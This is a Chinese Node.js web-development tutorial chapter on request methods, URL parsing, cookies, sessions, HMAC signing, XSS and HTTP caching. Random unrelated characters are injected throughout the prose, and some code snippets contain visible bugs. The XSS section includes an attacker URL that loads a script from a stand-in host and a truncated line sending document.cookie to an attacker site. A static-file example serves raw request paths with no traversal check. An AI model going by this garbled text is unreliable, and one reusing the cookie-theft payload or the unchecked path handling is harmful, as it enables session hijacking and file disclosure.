前言
web到目前為止走過了1.0捆愁、2.0、移動(dòng)互聯(lián)網(wǎng)窟却、本地應(yīng)用化幾個(gè)階段项贺,這使得js變得炙手可熱载城,許多原來在server端實(shí)現(xiàn)的需求心肪,現(xiàn)在可以在mv*的架構(gòu)下在前端實(shí)現(xiàn)络它,加之node的大獲成功,讓前茬腿、后端的概念趨于一統(tǒng)呼奢。
在后端,有各種框架切平,如structs握础、codeigniter、rails悴品、django禀综、web.py,在前端苔严,也有backbone菇存、knockout.js、angular.js邦蜜、meteor等,另外node也有connect亥至、express悼沈、koa贱迟、koa2、Meteor絮供。
本章的內(nèi)容衣吠,就是全方位的介紹在nodejs下如何進(jìn)行web開發(fā)和注意事項(xiàng)
基礎(chǔ)功能
node是一個(gè)非常好的語(yǔ)言,因?yàn)槿腊校鼔虻讓樱ɡ鏽ode的模型缚俏,就與網(wǎng)絡(luò)協(xié)議十分相似),可以讓早期接觸的程序員贮乳,了解到更多的底層技術(shù)細(xì)節(jié)忧换。
本章將從http模塊中服務(wù)器端的request事件開始分析,request事件發(fā)生于網(wǎng)絡(luò)連接建立的這一整個(gè)過程之中向拆,首先亚茬,客戶端向服務(wù)器端發(fā)送報(bào)文,然后浓恳,服務(wù)器端解析報(bào)文刹缝,并從解析的報(bào)文中發(fā)現(xiàn)http請(qǐng)求的報(bào)文頭。系統(tǒng)調(diào)用已經(jīng)準(zhǔn)備好的ServerRequest和ServerResponse對(duì)象颈将,之后分別操作請(qǐng)求和響應(yīng)報(bào)文梢夯,我們看看如下代碼:
var http = require('http');
http.createServer(function (req, res) {
res.writeHead(200, { 'Content-Type': 'text/plain' });
res.end('Hello World\n');
}).listen(1337, '127.0.0.1');
console.log('Server running at http://127.0.0.1:1337/');
但是對(duì)于一個(gè)真正的web應(yīng)用,這些遠(yuǎn)遠(yuǎn)不夠晴圾,在具體業(yè)務(wù)中颂砸,我們需要:
1.請(qǐng)求方法的判斷
2.URL的路徑解析
3.URL中查詢字符串解析
4.Cookie的解析
5.Basic認(rèn)證
6.表單數(shù)據(jù)的解析
7.任意格式文件的上傳處理
8.session會(huì)話需求
為了理解這一切的實(shí)現(xiàn),我們從下邊這個(gè)函數(shù)入手疑务,開始分析:
function (req, res) {
res.writeHead(200, { 'Content-Type': 'text/plain' });
res.end();
}
同時(shí)沾凄,在開始具體業(yè)務(wù)前,需要為業(yè)務(wù)預(yù)處理一些細(xì)節(jié)知允,這些細(xì)節(jié)將會(huì)掛載在req或者res對(duì)象上撒蟀,供業(yè)務(wù)代碼使用。
請(qǐng)求方法
在WEB中温鸽,請(qǐng)求方法有GET保屯、POST、HEAD涤垫、DELETE姑尺、PUT、CONNECT等蝠猬,請(qǐng)求方法是請(qǐng)求報(bào)文頭的第一行的第一個(gè)大寫單詞切蟋,下方展示了一個(gè)請(qǐng)求報(bào)文頭,可以清晰的看見GET這個(gè)請(qǐng)求方法榆芦。
GET /path?foo=bar HTTP/1.1
User-Agent: curl/7.24.0 (x86_64-apple-darwin12.0) libcurl/7.24.0 OpenSSL/0.9.8r zlib/1.2.5
Host: 127.0.0.1:1337
Accept: */*
HTTP_Parser在解析請(qǐng)求報(bào)文的時(shí)候柄粹,將報(bào)文頭抽取出來喘鸟,設(shè)置為req.method,在RESTful風(fēng)格的web服務(wù)中驻右,這個(gè)請(qǐng)求方法非常重要什黑,因?yàn)椋ㄟ^method的值來決定資源的操作行為堪夭,PUT代表新建一個(gè)資源愕把,POST表示要更新一個(gè)資源,GET表示查看一個(gè)資源森爽,DELETE表示刪除一個(gè)資源恨豁。利用RESTful風(fēng)格書寫代碼是一種化繁為簡(jiǎn)的思維,也可以稱之為路由思維拗秘,或者分發(fā)思維圣絮。如果自己寫代碼的話,是下面這個(gè)樣子的雕旨,使用express就是另外一個(gè)樣子扮匠。
function (req, res) {
switch (req.method) {
case 'POST':
update(req, res);
break;
case 'DELETE':
remove(req, res);
break;
case 'PUT':
create(req, res);
break;
case 'GET':
default:
get(req, res);
}
}
RESTful風(fēng)格代表了一種根據(jù)請(qǐng)求方法將復(fù)雜的業(yè)務(wù)邏輯分發(fā)的一種思路,通過這種思路可以化繁為簡(jiǎn)凡涩。
路徑解析
路徑部分存在于報(bào)文頭的第一行的第二部分
GET /path?foo=bar HTTP/1.1
HTTP_Parser將其解析為req.url棒搜,一般而言完整的URL地址是這樣?jì)鸬模?/p>
http://user:pass@host.com:8080/p/a/t/h?query=string#hash
在瀏覽器的地址欄輸入這個(gè)url后,瀏覽器(也就是http的客戶端代理程序活箕,我們俗稱為瀏覽器)會(huì)將這個(gè)地址解析為報(bào)文力麸,將路徑和查詢部分放在報(bào)文的第一行,hash部分是會(huì)被丟棄的育韩,不會(huì)存在于報(bào)文的任何地方克蚂。
最常見的的根據(jù)路徑進(jìn)行業(yè)務(wù)處理的是靜態(tài)文件服務(wù)器,它會(huì)根據(jù)路徑去查找磁盤中的文件筋讨,然后將其響應(yīng)給客戶端:
function (req, res) {
var pathname = url.parse(req.url).pathname;
fs.readFile(path.join(ROOT, pathname), function (err, file) {
if (err) {
res.writeHead(404);
res.end('找不到相關(guān)文件埃叭。--');
return;
}
res.writeHead(200);
res.end(file);
});
}
還有一種比較常見的分發(fā)場(chǎng)景是根據(jù)路徑來選擇控制器,它預(yù)設(shè)路徑為控制器和行為的組合悉罕,無須額外配置路由信息:(另外赤屋,這個(gè)路徑還可以成為參數(shù)路徑,或者短路徑)
/controller/action/a/b/c
這里controller會(huì)對(duì)應(yīng)到一個(gè)控制器壁袄,action對(duì)應(yīng)到控制器的行為类早,剩余的值會(huì)做為參數(shù)進(jìn)行別的判斷,我們用下方的代碼來實(shí)現(xiàn)這一設(shè)想嗜逻。(express或者koa給了更好的解決辦法涩僻,因此,本章內(nèi)容只是從一個(gè)更低的角度來分析問題,大家一定要使用和閱讀比較成熟的框架)
function (req, res) {
var pathname = url.parse(req.url).pathname;
var paths = pathname.split('/');
var controller = paths[1] || 'index';
var action = paths[2] || 'index';
var args = paths.slice(3);
if (handles[controller] && handles[controller][action]) {
handles[controller][action].apply(null, [req, res].concat(args));
} else {
res.writeHead(500);
res.end('找不到響應(yīng)控制器');
}
}
然后逆日,我們只負(fù)責(zé)業(yè)務(wù)的核心部分就可以了
handles.index = {};
handles.index.index = function (req, res, foo, bar) {
res.writeHead(200);
res.end(foo);
};
查詢字符串
查詢字符串位于路徑之后恼琼,在地址欄中?后邊的就是查詢字符串(這個(gè)字符串會(huì)在?后,跟隨路徑屏富,形成請(qǐng)求報(bào)文的第二部分)。node提供了querystring模塊來處理這部分的數(shù)據(jù)蛙卤。
var url = require('url');
var querystring = require('querystring');
var query = querystring.parse(url.parse(req.url).query);
//更簡(jiǎn)潔的方法是給url.parse()傳遞參數(shù)
var query = url.parse(req.url, true).query;
這個(gè)方法會(huì)將foo=bar&baz=val轉(zhuǎn)換為json格式
{
foo: 'bar',
baz: 'val'
}
查詢字符串會(huì)被掛載在req.query上狠半,如果查詢字符串出現(xiàn)兩個(gè)相同的字符,如: foo=bar&foo=baz颤难,那么返回的json就會(huì)是一個(gè)數(shù)組神年。
{
foo: ['bar', 'baz']
}
注意:此處需要進(jìn)行判斷,判斷是數(shù)組還是字符串行嗤,防止TypeError的異常產(chǎn)生
Cookie
http是一個(gè)無狀態(tài)的協(xié)議已日,現(xiàn)實(shí)中的業(yè)務(wù)卻是需要有狀態(tài)的,否則無法區(qū)分用戶之間的身份栅屏。那么飘千,我們?cè)撊绾螛?biāo)識(shí)和認(rèn)證一個(gè)用戶呢?最早的方案就是cookie栈雳,cookie能夠記錄瀏覽器與客戶端之間的狀態(tài)护奈,用來判斷用戶是否第一次訪問網(wǎng)站。因?yàn)楦缛遥琧ookie的特殊性霉旗,它是由瀏覽器和服務(wù)器共同協(xié)作實(shí)現(xiàn)的規(guī)范。
cookie的處理分為如下幾步:
1.服務(wù)器向客戶服務(wù)發(fā)送cookie
2.瀏覽器將cookie保存
3.之后每次瀏覽器都會(huì)將cookie發(fā)送給服務(wù)器蛀骇,服務(wù)器端再進(jìn)行校驗(yàn)
客戶端發(fā)送的cookie在請(qǐng)求報(bào)文的cookie字段之中厌秒,我們可以通過curl來構(gòu)造cookie
curl -v -H "Cookie: foo=bar; baz=val" "http://127.0.0.1:1337/path?foo=bar&foo=baz"
HTTP_Parser會(huì)將所有的報(bào)文字段解析到req.headers上,那么cookie就是req.headers.cookie了擅憔。根據(jù)規(guī)范鸵闪,cookie的格式是key=value;key2=value2的形式,我們可以這樣解析cookie
var parseCookie = function (cookie) {
var cookies = {};
if (!cookie) {
return cookies;
}
var list = cookie.split(';');
for (var i = 0; i < list.length; i++) {
var pair = list[i].split('=');
cookies[pair[0].trim()] = pair[1];
}
return cookies;
};
為了方便使用雕欺,我們將其掛載在req對(duì)象上
function (req, res) {
req.cookies = parseCookie(req.headers.cookie);
hande(req, res);
}
然后業(yè)務(wù)邏輯代碼就可以判斷了
var handle = function (req, res) {
res.writeHead(200);
if (!req.cookies.isVisit) {
res.end('歡迎第一次訪問網(wǎng)站 ');
} else {
// TODO
}
};
任何請(qǐng)求報(bào)文中岛马,如果cookie值沒有isVisit,都會(huì)收到第一次來到動(dòng)物園屠列,這樣的響應(yīng)啦逆。(if (!req.cookies.isVisit))
告知客戶端是通過響應(yīng)報(bào)文實(shí)現(xiàn)的,響應(yīng)的cookie值在set-cookie字段中笛洛,他的格式與請(qǐng)求中的格式不太相同夏志,規(guī)范中對(duì)它的定義如下:
Set-Cookie: name=value; Path=/; Expires=Sun, 23-Apr-23 09:01:35 GMT; Domain=.domain.com;
name = value是必選字段,其他為可選字段。必選字段很好理解沟蔑,接下來湿诊,我們說一下可選字段:
可選字段 | 說明 |
---|---|
path | 表示這個(gè)cookie影響的路徑,當(dāng)前訪問的路徑不滿足該匹配時(shí)瘦材,瀏覽器則不發(fā)送這個(gè)cookie |
expores厅须、max-age | 用來告知瀏覽器這個(gè)cookie何時(shí)過期的,如果不設(shè)置該選項(xiàng)食棕,在關(guān)閉瀏覽器時(shí)朗和,會(huì)丟失掉這個(gè)cookie,如果設(shè)置過期時(shí)間簿晓,瀏覽器將會(huì)把cookie內(nèi)容寫入到磁盤中眶拉,并保存,下次打開瀏覽器憔儿,該cookie依舊有效忆植。expires是一個(gè)utc格式的時(shí)間字符串,告知瀏覽器此cookie何時(shí)將過期谒臼,max-age則告知瀏覽器朝刊,此cookie多久后將過期。expires會(huì)在瀏覽器時(shí)間設(shè)置和服務(wù)器時(shí)間設(shè)置不一致時(shí)屋休,存在過期偏差坞古。因此,一般用max-age會(huì)相對(duì)準(zhǔn)確劫樟。 |
HttpOnly | 告知瀏覽器不允許通過腳本document.cookie去更改這個(gè)cookie值痪枫,也就是document.cookie不可見,但是叠艳,在http請(qǐng)求的過程中奶陈,依然會(huì)發(fā)送這個(gè)cookie到服務(wù)器端。 |
secure | 當(dāng)secure = true時(shí)附较,創(chuàng)建的cookie只在https連接中吃粒,被瀏覽器傳遞到服務(wù)器端進(jìn)行會(huì)話驗(yàn)證,如果http連接拒课,則不會(huì)傳遞徐勃。因此,增加了被竊聽的難度早像。 |
上邊已經(jīng)介紹了Cookie在報(bào)文同中的具體格式僻肖,下面,我們將Cookie序列化成符合規(guī)范的字符串卢鹦,相關(guān)代碼如下:
var serialize = function (name, val, opt) {
var pairs = [name + '=' + encode(val)];
opt = opt || {};
if (opt.maxAge) pairs.push('Max-Age=' + opt.maxAge);
if (opt.domain) pairs.push('Domain=' + opt.domain);
if (opt.path) pairs.push('Path=' + opt.path);
if (opt.expires) pairs.push('Expires=' + opt.expires.toUTCString());
if (opt.httpOnly) pairs.push('HttpOnly');
if (opt.secure) pairs.push('Secure');
return pairs.join('; ');
};
然后臀脏,我們修改一下判斷用戶狀態(tài)的代碼:
var handle = function (req, res) {
if (!req.cookies.isVisit) {
res.setHeader('Set-Cookie', serialize('isVisit', '1'));
res.writeHead(200);
res.end('歡迎第一次來 ');
} else {
res.writeHead(200);
res.end('歡迎再次來 ');
}
};
客戶端收到這個(gè)帶set-cookie的響應(yīng)后,在之后的請(qǐng)求時(shí),會(huì)在cookie字段中帶上這個(gè)值揉稚,我們還可以設(shè)置多個(gè)cookie值秒啦,也就是為set-cookie賦值一個(gè)數(shù)組:
res.setHeader('Set-Cookie', [serialize('foo', 'bar'), serialize('baz', 'val')]);
如果是數(shù)組的話,將在報(bào)文中形成兩條set-cookie字段:
Set-Cookie: foo=bar; Path=/; Expires=Sun, 23-Apr-23 09:01:35 GMT; Domain=.domain.com;
Set-Cookie: baz=val; Path=/; Expires=Sun, 23-Apr-23 09:01:35 GMT; Domain=.domain.com;
cookie的性能影響
由于cookie的機(jī)制搀玖,因此余境,當(dāng)cookie過多時(shí),會(huì)導(dǎo)致報(bào)文頭較大灌诅,由于大多數(shù)cookie不需要每次都上傳葛超,因此,除非cookie過期延塑,否則會(huì)造成帶寬的浪費(fèi)。
在YSlow的性能優(yōu)化規(guī)則中答渔,有關(guān)于cookie優(yōu)化的建議:
1.減小cookie的大小关带,切記不要在路由根節(jié)點(diǎn)設(shè)置cookie,因?yàn)檫@將造成該路徑下的全部請(qǐng)求都會(huì)帶上這些cookie沼撕,同時(shí)宋雏,靜態(tài)文件的業(yè)務(wù)不關(guān)心狀態(tài),因此务豺,cookie在靜態(tài)文件服務(wù)下磨总,是沒有用處,請(qǐng)不要為靜態(tài)服務(wù)設(shè)置cookie笼沥。
2.為靜態(tài)組件使用不同的域名蚪燕,cookie作用于相同的路由,因此奔浅,設(shè)定不同的域名馆纳,可以防止cookie被上傳。
3.減少dns查詢汹桦,這個(gè)可以基于瀏覽器的dns緩存來協(xié)助鲁驶。
注意:上邊的第2條和第3條是互斥條款。因此舞骆,必須要使用瀏覽器緩存钥弯,來緩存dns,以弱化第三條的影響督禽。
cookie的不安全性
cookie可以在瀏覽器端脆霎,通過js進(jìn)行修改,通過調(diào)用document.cookie來請(qǐng)求cookie并篡改赂蠢。第三方廣告或者統(tǒng)計(jì)腳本绪穆,就是這樣做的。所以,不要輕信別人的腳本玖院。
session
cookie存在各種問題菠红,例如體積大、不安全难菌,為了解決cookie的這些問題试溯,session應(yīng)運(yùn)而生,session只保存在服務(wù)器端郊酒,客戶端無法修改遇绞,因此,安全性和數(shù)據(jù)傳遞都被保護(hù)燎窘。
我們?nèi)绾卫胹ession將客戶和服務(wù)器中的數(shù)據(jù)一一對(duì)應(yīng)起來呢摹闽?我們來看一下cookie的解決方案,然后再來比較session的
實(shí)現(xiàn)1.基于cookie來實(shí)現(xiàn)用戶和數(shù)據(jù)的映射
雖然將所以數(shù)據(jù)都放在cookie中不可取褐健,但是將口令放在cookie中還是可以的付鹿,因?yàn)榭诹钜坏┍淮鄹模蛠G失了映射關(guān)系蚜迅,也無法修改服務(wù)器端存在的數(shù)據(jù)了舵匾。并且,session的有效期通常較短谁不,普通的設(shè)置是20分鐘坐梯,如果在20分鐘內(nèi)客戶端和服務(wù)器端沒有交互產(chǎn)生,服務(wù)器端就將數(shù)據(jù)刪除刹帕。由于數(shù)據(jù)過期時(shí)間較短吵血,且在服務(wù)器端存儲(chǔ)數(shù)據(jù),因此偷溺,安全性相對(duì)較高践瓷。那么口令是如何產(chǎn)生的呢?一旦服務(wù)器端啟用了session亡蓉,它將約定一個(gè)鍵值作為session的口令晕翠,這個(gè)值可以隨意約定,比如connect默認(rèn)采用connect_uid砍濒,tomcat采用jsessionid等淋肾,一旦服務(wù)器檢測(cè)到用戶請(qǐng)求,cookie中沒有攜帶該值爸邢,他就會(huì)之生成一個(gè)值樊卓,這個(gè)值是唯一且不重復(fù)的值,并設(shè)定超時(shí)時(shí)間杠河。以下為生成session的代碼:
var sessions = {};
var key = 'session_id';
var EXPIRES = 20 * 60 * 1000;
var generate = function () {
var session = {};
session.id = (new Date()).getTime() + Math.random();
session.cookie = {
expire: (new Date()).getTime() + EXPIRES
};
sessions[session.id] = session;
return session;
};
每個(gè)請(qǐng)求到來時(shí)碌尔,檢查cookie中的口令與服務(wù)器端的數(shù)據(jù)浇辜,如果過期,就重新生成唾戚,我們來看一下代碼:
function (req, res) {
var id = req.cookies[key];
if (!id) {
req.session = generate();
} else {
var session = sessions[id];
if (session) {
if (session.cookie.expire > (new Date()).getTime()) {
//更新超時(shí)時(shí)間
session.cookie.expire = (new Date()).getTime() + EXPIRES;
req.session = session;
} else {
// 超時(shí)了柳洋,刪除舊的數(shù)據(jù),并重新生成
delete sessions[id];
req.session = generate();
}
} else {
// 如果session過期或口令不對(duì)叹坦,重新生成session
req.session = generate();
}
}
handle(req, res);
}
生成新的session后熊镣,還要響應(yīng)給客戶端若专,以便下次請(qǐng)求時(shí)居扒,能夠?qū)?yīng)服務(wù)器端的數(shù)據(jù)室叉。這里我們使用hack響應(yīng)對(duì)象的writeHead()方法豪娜,在它的內(nèi)部注入設(shè)置Cookie的邏輯:
var writeHead = res.writeHead;
res.writeHead = function () {
var cookies = res.getHeader('Set-Cookie');
var session = serialize('Set-Cookie', req.session.id);
cookies = Array.isArray(cookies) ? cookies.concat(session) : [cookies, session];
res.setHeader('Set-Cookie', cookies);
return writeHead.apply(this, arguments);
};
然后,我們就可以使用session來維護(hù)用戶和服務(wù)器的關(guān)系了纲刀。
var handle = function (req, res) {
if (!req.session.isVisit) {
res.session.isVisit = true;
res.writeHead(200);
res.end('歡迎第一次到來 ');
} else {
res.writeHead(200);
res.end('歡迎再次到來 ');
}
};
當(dāng)然边篮,session是基于Cookie實(shí)現(xiàn)的鸽凶,如果禁用了cookie篮赢,則將無法使用session而柑。
實(shí)現(xiàn)2.通過查詢字符串來實(shí)現(xiàn)瀏覽器端和服務(wù)器端數(shù)據(jù)的對(duì)應(yīng)
它的原理是檢查請(qǐng)求的查詢字符串,如果沒值荷逞,會(huì)先生成新的帶值的URL:
var getURL = function (_url, key, value) {
var obj = url.parse(_url, true);
obj.query[key] = value;
return url.format(obj);
};
然后形成跳轉(zhuǎn),讓客戶端重新發(fā)起請(qǐng)求:
function (req, res) {
var redirect = function (url) {
res.setHeader('Location', url);
res.writeHead(302);
res.end();
};
var id = req.query[key];
if (!id) {
var session = generate();
redirect(getURL(req.url, key, session.id));
} else {
var session = sessions[id];
if (session) {
if (session.cookie.expire > (new Date()).getTime()) {
// 更新超時(shí)時(shí)間
session.cookie.expire = (new Date()).getTime() + EXPIRES;
req.session = session;
handle(req, res);
} else {
// 超時(shí)了粹排,刪除舊的數(shù)據(jù)种远,并重新生成
delete sessions[id];
var session = generate();
redirect(getURL(req.url, key, session.id));
}
} else {
// 如果session過期或者口令不對(duì),重新生成session
var session = generate();
redirect(getURL(req.url, key, session.id));
}
}
}
用戶訪問某URL時(shí)顽耳,如果服務(wù)器發(fā)現(xiàn)查詢字符串中不帶session_id參數(shù)坠敷,就會(huì)將用戶跳轉(zhuǎn)到url?session_id=xxxxxxx這樣一個(gè)類似的地址。如果瀏覽器收到302狀態(tài)碼和Location報(bào)文頭射富,就會(huì)重新發(fā)起新的請(qǐng)求:
< HTTP/1.1 302 Moved Temporarily
< Location: /pathname?session_id=12344567
這樣膝迎,新的請(qǐng)求到來時(shí),就能通過Session的檢查胰耗,除非內(nèi)存中的數(shù)據(jù)過期限次。
特別提示:
有的服務(wù)器在客戶端禁用cookie,會(huì)采用這種方案實(shí)現(xiàn)退化柴灯,通過這種方案卖漫,無須在響應(yīng)時(shí)設(shè)置cookie,但是這種方案帶來的風(fēng)險(xiǎn)遠(yuǎn)大于基于cookie實(shí)現(xiàn)的風(fēng)險(xiǎn)赠群,因?yàn)檠蚴迹獙⒌刂窓谥械牡刂钒l(fā)給另外一個(gè)人,那么他就擁有跟你相同的身份查描,Cookie的方案在換了瀏覽器或者電腦后突委,無法生效柏卤,相對(duì)安全。(另外匀油,還有一種處理session的方式缘缚,利用http請(qǐng)求頭中的ETag,大家可以自行g(shù)oogle)
session與內(nèi)存
在node下钧唐,對(duì)于內(nèi)存的使用存在限制忙灼,session直接存在內(nèi)存中,會(huì)使內(nèi)存持續(xù)增大钝侠,限制性能该园。另外,多個(gè)node進(jìn)程間可能不能直接共享內(nèi)存帅韧,用戶的session可能會(huì)錯(cuò)亂里初。為了解決問題,我們通常使用Redis等來存儲(chǔ)session數(shù)據(jù)忽舟。(node與redis緩存使用長(zhǎng)連接双妨,而非http這種短連接,握手導(dǎo)致的延遲只影響初始化一次叮阅,因此刁品,使用redis方案,往往比使用內(nèi)存還要高效浩姥。如果將redis緩存方在跟node實(shí)例相同的機(jī)器上挑随,那么網(wǎng)絡(luò)延遲的影響將更小)勒叠。我們來看看實(shí)現(xiàn)的業(yè)務(wù)代碼:
function (req, res) {
var id = req.cookies[key];
if (!id) {
req.session = generate();
handle(req, res);
} else {
store.get(id, function (err, session) {
if (session) {
if (session.cookie.expire > (new Date()).getTime()) {
// 更新超時(shí)時(shí)間
session.cookie.expire = (new Date()).getTime() + EXPIRES;
req.session = session;
} else {
// 超時(shí)了兜挨,刪除舊的數(shù)據(jù),并重新生成
delete sessions[id];
req.session = generate();
}
} else {
// 如果session過期或口令不對(duì)眯分,重新生成session
req.session = generate();
}
handle(req, res);
});
}
}
在響應(yīng)時(shí)拌汇,將新的session保存回緩存中:
var writeHead = res.writeHead;
res.writeHead = function () {
var cookies = res.getHeader('Set-Cookie');
var session = serialize('Set-Cookie', req.session.id);
cookies = Array.isArray(cookies) ? cookies.concat(session) : [cookies, session];
res.setHeader('Set-Cookie', cookies);
// 保存回緩存
store.save(req.session);
return writeHead.apply(this, arguments);
};
session與安全
通過上文我們已經(jīng)知道,session的口令保存在瀏覽器(基于cookie或者查詢字符串的形式都是將口令保存于瀏覽器)弊决,因此噪舀,會(huì)存在session口令被盜用的情況。當(dāng)web應(yīng)用的用戶十分多飘诗,自行設(shè)計(jì)的隨機(jī)算法的口令值就有理論機(jī)會(huì)命中有效的口令值傅联。一旦口令被偽造,服務(wù)器端的數(shù)據(jù)也可能間接被利用疚察,這里提到的session的安全蒸走,就主要指如何讓這一口令更加安全。
有一種方法是將這個(gè)口令通過私鑰加密進(jìn)行簽名貌嫡,使得偽造的成本較高比驻「盟荩客戶端盡管可以偽造口令值,但是由于不知道私鑰值别惦,簽名信息很難偽造狈茉。如此,我們只要在響應(yīng)時(shí)將口令和簽名進(jìn)行對(duì)比掸掸,如果簽名非法氯庆,我們將服務(wù)器端的數(shù)據(jù)立即過期即可,如下所示:
// 將值通過私鑰簽名扰付,由.分割原值和簽名
var sign = function (val, secret) {
return val + '.' + crypto
.createHmac('sha256', secret)
.update(val)
.digest('base64')
.replace(/\=+$/, '');
};
在響應(yīng)時(shí)堤撵,設(shè)置session值到cookie中或者跳轉(zhuǎn)URL中,如下所示:
var val = sign(req.sessionID, secret);
res.setHeader('Set-Cookie', cookie.serialize(key, val));
接收請(qǐng)求時(shí)羽莺,檢查簽名实昨,如下所示:
//取出口令部分進(jìn)行簽名,對(duì)比用戶提交的值
var unsign = function (val, secret) {
var str = val.slice(0, val.lastIndexOf('.'));
return sign(str, secret) == val ? str : false;
};
這樣一來盐固,即使攻擊者知道口令中.號(hào)前的值是服務(wù)器端session的id值荒给,只要不知道secret私鑰的值,就無法偽造簽名信息刁卜,以此實(shí)現(xiàn)對(duì)session的保護(hù)志电。該方法被connect中間件所使用,保護(hù)好私鑰蛔趴,就是在保障自己web應(yīng)用的安全挑辆。
當(dāng)然,將口令進(jìn)行簽名是一個(gè)很好的解決方案夺脾,但是如果攻擊者通過某種方式獲取了一個(gè)真實(shí)的口令和簽名,他就能實(shí)現(xiàn)身份的偽造了茉继,一種方案是將客戶端的某些獨(dú)有信息與口令作為原值咧叭,然后簽名,這樣攻擊者一旦不在原始的客戶端上進(jìn)行訪問烁竭,就會(huì)導(dǎo)致簽名失敗菲茬。這些獨(dú)有信息包括用戶IP和用戶代理(user agent)
但是,原始用戶與攻擊者之間也存在上述信息相同的可能性派撕,如局域網(wǎng)出口IP相同婉弹,相同的客戶端信息等,不過納入這些考慮能提高安全性终吼。
通常而言镀赌,將口令存儲(chǔ)于cookie中不容易被他人獲取,但是际跪,一些別的漏洞可能導(dǎo)致這個(gè)口令被泄漏商佛,典型的有xss漏洞喉钢,下面簡(jiǎn)單介紹一下如何通過xss拿到用戶的口令,實(shí)現(xiàn)偽造:
xss漏洞
xss = cross site scripting 良姆,也就是跨站腳本攻擊肠虽。xss漏洞可以讓別的腳本進(jìn)行執(zhí)行,形成這個(gè)問題的主要原因多數(shù)是用戶的輸入沒有被轉(zhuǎn)義玛追,而被直接執(zhí)行税课。
下面是某個(gè)網(wǎng)站的前端腳本,它會(huì)將url hash中的值設(shè)置到頁(yè)面中痊剖,以實(shí)現(xiàn)某種邏輯:
$('#box').html(location.hash.replace('#', ''));
攻擊者在發(fā)現(xiàn)這里的漏洞后韩玩,構(gòu)造了這樣的URL:
http://a.com/pathname#<script src="http://b.com/c.js"></script>
為了不讓受害者直接發(fā)現(xiàn)這段url中的貓膩,它可能會(huì)通過url壓縮成一個(gè)短網(wǎng)址邢笙,如下所示:
http://t.cn/fasdlfj
// 或者再次壓縮
http://url.cn/fasdlfb
然后將最終的短網(wǎng)址發(fā)給某個(gè)登錄的在線用戶啸如。這樣一來,這段hash中的腳本將會(huì)在這個(gè)用戶的瀏覽器中執(zhí)行氮惯,而這段腳本中的內(nèi)容如下所示:
location. + document.cookie;
這段代碼將該用戶的cookie提交給了c.com站點(diǎn)叮雳,這個(gè)站點(diǎn)就是攻擊者的服務(wù)器,他也就能拿到該用戶的session口令妇汗,然后他在客戶端中用這個(gè)口令偽造cookie帘不,從而實(shí)現(xiàn)了偽造用戶的身份。如果該用戶是網(wǎng)站管理員杨箭,就可能造成極大的危害寞焙。在這個(gè)案例中,如果口令中有用戶的客戶端信息的簽名互婿,即使口令被泄漏捣郊,除非攻擊者與用戶客戶端完全相同,否則不能實(shí)現(xiàn)偽造慈参。
緩存
緩存的用處是節(jié)省不必要的輸出呛牲,也就是緩存我們的靜態(tài)資源(html、js驮配、css)娘扩,我們看一下提高性能的幾條YSlow原則:
1.添加Expires或cache-control到報(bào)文頭中
2.配置ETags
3.讓Ajax可緩存
接下來我們將展開這幾條規(guī)則的來源,如何讓瀏覽器緩存我們的靜態(tài)資源壮锻,這也是一個(gè)需要由服務(wù)器與瀏覽器共同協(xié)作來完成的事琐旁。RFC 2616規(guī)范對(duì)此有一定的描述,只有遵循約定猜绣,整個(gè)緩存機(jī)制才能有效建立灰殴。通常來說,post掰邢、delete验懊、put這類帶行為性的請(qǐng)求操作一般不做任何緩存擅羞,大多數(shù)緩存只應(yīng)用在get請(qǐng)求中。使用緩存的流程如下:
簡(jiǎn)單來講义图,本地沒有文件時(shí)减俏,瀏覽器必然會(huì)請(qǐng)求服務(wù)器端的內(nèi)容,并將這部分內(nèi)容放置在本地的某個(gè)緩存目錄中碱工。在第二次請(qǐng)求時(shí)娃承,它將對(duì)本地文件進(jìn)行檢查,如果不能確定這份本地文件是否可以直接使用怕篷,它將會(huì)發(fā)起一次條件請(qǐng)求历筝。所謂條件請(qǐng)求,就是在普通的get請(qǐng)求報(bào)文中廊谓,附帶If-Modified-Since字段梳猪,如下所示:
If-Modified-Since: Sun, 03 Feb 2013 06:01:12 GMT
它將詢問服務(wù)器是否有更新的版本,本地文件的最后修改時(shí)間蒸痹。如果服務(wù)器端沒有新的版本春弥,只需響應(yīng)一個(gè)304狀態(tài)碼,客戶端就使用本地版本叠荠。如果服務(wù)器端有新的版本匿沛,就將新的內(nèi)容發(fā)送給客戶端,客戶端放棄本地版本榛鼎,代碼如下:
var handle = function (req, res) {
fs.stat(filename, function (err, stat) {
var lastModified = stat.mtime.toUTCString();
if (lastModified === req.headers['if-modified-since']) {
res.writeHead(304, "Not Modified");
res.end();
} else {
fs.readFile(filename, function (err, file) {
var lastModified = stat.mtime.toUTCString();
res.setHeader("Last-Modified", lastModified);
res.writeHead(200, "Ok");
res.end(file);
});
}
});
};
這里的條件請(qǐng)求采用時(shí)間戳的方式實(shí)現(xiàn)逃呼,但是時(shí)間戳有一些缺陷存在。
1.文件的時(shí)間戳改動(dòng)但內(nèi)容并不一定改動(dòng)
2.時(shí)間戳只能精確到秒級(jí)別者娱,更新頻繁的內(nèi)容將無法生效
為此抡笼,http1.1中引入了ETag來解決這個(gè)問題,ETag的全稱是Entity Tag黄鳍,由服務(wù)器端生成推姻,服務(wù)器端可以決定它的生成規(guī)則,如果根據(jù)文件內(nèi)容生成散列值际起,那么條件請(qǐng)求將不會(huì)受到時(shí)間戳改動(dòng)造成的帶寬浪費(fèi)拾碌。下面是根據(jù)內(nèi)容生成散列值的方法:
var getHash = function (str) {
var shasum = crypto.createHash('sha1');
return shasum.update(str).digest('base64');
};
這種方式與If-Modified-Since/Last-Modified不同的是吐葱,ETag的請(qǐng)求和響應(yīng)是If-None-Match/ETag的:
var handle = function (req, res) {
fs.readFile(filename, function (err, file) {
var hash = getHash(file);
var noneMatch = req.headers['if-none-match'];
if (hash === noneMatch) {
res.writeHead(304, "Not Modified");
res.end();
} else {
res.setHeader("ETag", hash);
res.writeHead(200, "Ok");
res.end(file);
}
});
};
瀏覽器在收到ETag:‘83-1359871272000’這樣的響應(yīng)后街望,在下次的請(qǐng)求中,會(huì)將其放置在請(qǐng)求頭中:If-None-Match:"83-1359871272000"
